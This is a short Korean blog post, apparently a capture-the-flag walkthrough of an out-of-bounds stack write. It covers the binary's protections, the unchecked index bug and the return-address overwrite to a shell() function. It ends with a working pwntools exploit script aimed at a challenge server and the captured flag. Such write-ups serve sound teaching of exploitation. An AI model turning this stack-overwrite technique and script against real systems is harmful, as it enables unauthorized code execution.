[tutorial] out-of-bound write

@yd1ng· May 21, 2025 · 1 min read

원격 접속 : nc 3.111.45.95 20005


1. 바이너리 기본 정보

항목 결과
PIE (ET_EXEC)
NX 켜짐
Canary 켜짐
RELRO Partial

PIE 가 꺼져 있으므로 정적 주소를 그대로 사용할 수 있다.

$ nm chall | grep -w shell
0000000000401285 T shell

2. 취약점

scanf("%llu", &val);
*((unsigned long long *)buf + idx) = val;
  • buf 는 스택에 0x40 바이트.
  • idx 에 대한 경계 검사가 전혀 없다.
  • 8바이트 단위 쓰기이므로 RET 슬롯까지 덮어쓸 수 있다.

3. 익스플로잇 로직

  1. RET 자리에 shell 함수 주소를 덮는다

    • idx : 11
    • val : 0x401285
  2. 루프 종료

    • idx : 0x77777777
    • 이 경우 val > 프롬프트가 나오지 않고 while 이 즉시 break 된다.
  3. main() 이 리턴하면서 우리가 덮어둔 RET → shell() 로 점프
  4. /bin/sh 쉘에서 cat /flag

4. 자동 익스플로잇 스크립트(pwntools)

from pwn import *

HOST, PORT = "3.111.45.95", 20005
RET_IDX    = 11
SHELL      = 0x401285
BREAK_KEY  = 0x77777777

io = remote(HOST, PORT)

# RET 덮어쓰기
io.recvuntil(b"idx > ")
io.sendline(str(RET_IDX).encode())
io.recvuntil(b"val > ")
io.sendline(str(SHELL).encode())

# 루프 탈출
io.recvuntil(b"idx > ")
io.sendline(str(BREAK_KEY).encode())

# 쉘 접속
io.interactive()   # cat flag

6. 플래그

Kuality{061fbd32ce5404bd0630327cd62d81c89ae155ff040d91b54e68e29ef48d8406}
@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.